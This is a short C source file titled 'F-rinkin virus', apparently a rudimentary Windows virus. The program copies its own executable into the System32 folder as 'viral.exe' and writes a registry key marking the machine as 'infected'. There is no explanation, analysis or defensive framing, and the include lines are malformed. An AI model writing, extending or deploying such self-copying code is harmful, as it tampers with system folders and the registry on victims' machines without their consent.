F-rinkin virus

include windows.h
#include string.h


char windir[MAX_PATH];


int APIENTRY WinMain(HINSTANCE hInstance,
                              HINSTANCE hPrevInstance,
                              LPSTR lpCmdLine,
                              int nCmdShow)
{


char pathname[256];
HKEY hKey;




GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);


strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);




unsigned char reg[10] = "infected";


RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);


}